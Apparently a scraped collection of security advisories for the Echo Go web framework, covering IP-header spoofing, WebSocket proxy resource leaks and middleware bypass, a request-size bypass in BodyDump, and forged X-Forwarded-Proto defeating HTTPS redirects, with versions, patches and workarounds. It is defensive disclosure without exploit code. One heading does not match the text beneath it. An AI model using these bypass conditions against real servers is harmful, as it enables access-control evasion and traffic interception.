For this to be safe, operators using Proxy() should also configure IPExtractor:

e.IPExtractor = echo.ExtractIPDirect() // no upstream proxy
// or
e.IPExtractor = echo.ExtractIPFromXFFHeader() // behind a trusted upstream LB

Option 2: Document and warn in Proxy() godoc

If backward compatibility must be preserved, add a prominent security warning to Proxy() and ProxyWithConfig():

// Proxy returns a Proxy middleware.
//
// SECURITY: By default, an incoming X-Real-IP header supplied by the client
// is forwarded to the upstream unchanged. This allows any client to spoof its
// IP identity to upstream services. Configure Echo#IPExtractor before using
// this middleware to ensure X-Real-IP is derived from a trusted source:
//
//   e.IPExtractor = echo.ExtractIPDirect()
//
// See https://echo.labstack.com/guide/ip-address for details.
func Proxy(balancer ProxyBalancer) echo.MiddlewareFunc {

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0: the Proxy middleware always sets X-Real-IP from Context.RealIP(), which is the address of the direct peer unless Echo#IPExtractor is configured.

github.com/labstack/echo/v4 is not changed, because v4's Context.RealIP() without Echo#IPExtractor trusts X-Forwarded-For and X-Real-IP by design, and changing that default would merge all clients behind a proxy into one rate-limit bucket.

Workarounds

Configure Echo#IPExtractor for your deployment, for example e.IPExtractor = echo.ExtractIPDirect() when there is no proxy in front of the application, or echo.ExtractIPFromXFFHeader() / echo.ExtractIPFromRealIPHeader() (with TrustIPRange for proxies on public addresses). With an extractor set, the Proxy middleware overwrites X-Real-IP in v4 too.

Impact

In Echo v5, ExtractIPFromRealIPHeader checked whether the address supplied in X-Real-IP belonged to a trusted range instead of checking the address of the direct network peer. An untrusted client could therefore supply a loopback or private address and have it returned by c.RealIP() with the extractor's default trust options.

Applications using this extractor for IP allowlists, IP-based rate limiting, audit logs or forwarding headers could accept a spoofed client identity. Exploitation requires that the attacker can reach Echo directly or that an intervening proxy passes through the attacker's X-Real-IP value. Applications using the default direct IP extractor are unaffected. Echo v4 is unaffected by this v5 regression.

Affected versions and patch

All v5 releases from v5.0.0 through v5.4.0 are affected. Upgrade to v5.4.1.

The patch validates the direct peer before accepting a syntactically valid X-Real-IP value, restoring the v4 trust model. Fix commit.

Workarounds

Use ExtractIPDirect until upgrading, or ensure that only trusted proxies can reach Echo and that they replace client-supplied forwarding headers. Configure trusted proxy ranges narrowly for the deployment.

Credits

Reported and patched by @rm-Umar. @Duodum independently reported the same issue in GHSA-c3r7-8j36-7mx8, which is tracked as a duplicate of this advisory.

Impact

Echo's Proxy middleware could retain a handler, copy goroutines and network connections after a WebSocket client disconnected if the upstream kept its connection open. The raw proxy waited for both copy directions to finish without reliably closing the other connection when one direction ended. Rejected upgrade responses with HTTP keep-alive were one way to trigger this behavior.

Repeated connections can accumulate resources and cause denial of service. The impact depends on the proxy route's accessibility, upstream behavior and configured connection deadlines. This is a medium-severity resource-retention issue; no confidentiality or integrity impact is claimed.

Affected versions and patch

Affected versions are v4.15.0 through v4.16.0 and v5.0.0 through v5.4.0. The regression was introduced by commit e2133320c7, merged in #2852.

Upgrade to v4.16.1 or v5.4.1. The patch uses Go's HTTP reverse proxy, preserves ordinary HTTP handling for rejected upgrades, and closes both sides of a WebSocket tunnel when either direction ends. It also covers an upstream that receives client EOF but deliberately keeps its side open.

Fix commits: v4, v5.

Workarounds

Disable WebSocket proxy routes until upgrading, or apply bounded connection lifetimes and resource limits at the frontend and upstream. Server idle timeouts alone may not cover hijacked WebSocket connections.

Credits

Reported by @irisitymichaelgrundberg.

Impact

Echo's Proxy middleware selected a raw tunnel when the client requested a WebSocket upgrade, before validating whether the configured upstream accepted it. If the upstream returned an ordinary HTTP response and kept the connection alive, subsequent HTTP requests on that connection were forwarded directly to the same upstream without passing through Echo's router or route-specific middleware.

This can bypass authentication or authorization enforced only at Echo's routes. Exploitation requires an accessible proxy route, an upstream that rejects the upgrade without closing the connection, and a target resource on that upstream without independent authorization. The issue does not provide arbitrary-host proxying or bypass the upstream's own authentication.

Affected versions and patch

The raw proxy implementation is present throughout the v4 and v5 release lines up to v4.16.0 and v5.4.0. Runtime reproductions confirmed v4.15.0, v4.16.0, v5.0.0 and v5.4.0; source history also shows the missing upgrade-response validation in v4.0.0.

Upgrade to v4.16.1 or v5.4.1. The patch routes WebSocket upgrades through Go's HTTP reverse proxy and enters a tunnel only after a valid upstream upgrade response. Rejected upgrades remain ordinary HTTP requests.

Fix commits: v4, v5.

Workarounds

Reject WebSocket upgrade requests before they reach affected Echo proxy routes, or enforce authorization independently at every upstream resource. Merely returning a non-101 response from the upstream does not prevent the vulnerable raw tunnel.

Credits

Reported by @Duodum.

Impact

Echo v5's BodyDump middleware captured a bounded prefix, drained the remaining request body while ignoring read errors, and then replaced the body with the captured prefix. With an outer BodyLimit, an unknown-length request such as an HTTP/1.1 chunked request, and a BodyDump capture limit below the BodyLimit threshold, an overflow detected during that drain could be discarded.

The handler could consequently process a truncated request and return success even though the original body exceeded the configured limit. This is a conditional size-policy bypass; no general authentication bypass, production data modification or denial of service is claimed. Known-length requests rejected before BodyDump runs are unaffected by this path.

Affected versions and patch

All v5 releases from v5.0.0 through v5.4.0 contain the affected drain-and-replace logic. Runtime reproduction confirmed v5.4.0; source comparison confirms the same request handling in v5.0.0.

Upgrade to v5.4.1. BodyDump now captures only the configured prefix for logging and reconstructs the handler's reader from that prefix plus the unread original stream. It preserves the original closer and read errors instead of silently draining the rest. Fix commit.

Streaming BodyLimit enforcement still requires the application to consume the request body and handle read errors. The BodyDump capture cap is a logging cap, not an application body limit.

Workarounds

Disable BodyDump on affected routes, or ensure the BodyLimit overflow is detected during the initial capture by setting the capture limit above the enforced body limit. Upgrading is recommended because it also preserves the complete body for handlers.

Credits

Reported by @Duodum. The fix incorporates @jakezwang's request-body preservation work in #3105.

Encoded slash (%2F) bypasses route-level protection and exposes static files in github.com/labstack/echo/v4 and github.com/labstack/echo/v5

Description

Context.Scheme() unconditionally trusts four client-controlled HTTP headers to determine the request scheme, with no mechanism to configure trusted sources. This allows a remote unauthenticated attacker to bypass HTTPS redirect enforcement and suppress HSTS headers.

The trusted headers (checked in this order of precedence):

1. X-Forwarded-Proto
2. X-Forwarded-Protocol
3. X-Forwarded-Ssl
4. X-Url-Scheme

Threat model

Scenario A — Directly exposed application (vulnerable by default): The Echo application listens on HTTP and is reachable directly by clients (no L7 proxy in front), or an attacker can bypass the proxy and reach the backend directly. In this case, the attacker has full control over all request headers. Sending X-Forwarded-Proto: https defeats the HTTPSRedirect middleware entirely — traffic stays on plaintext HTTP, enabling man-in-the-middle attacks.

This is the primary scenario. The application is vulnerable by default with no misconfiguration required — simply using e.Pre(middleware.HTTPSRedirect()) as documented is sufficient.

Scenario B — Behind L7 proxy with header sanitization (reduced risk): If the application is strictly behind a correctly configured L7 proxy that always overwrites X-Forwarded-Proto and there is no direct access to the backend, the practical risk is lower. However, this relies on perimeter controls external to the framework, not on the framework itself. As Echo's own IP-extraction documentation states: "you must not trust HTTP headers unconditionally."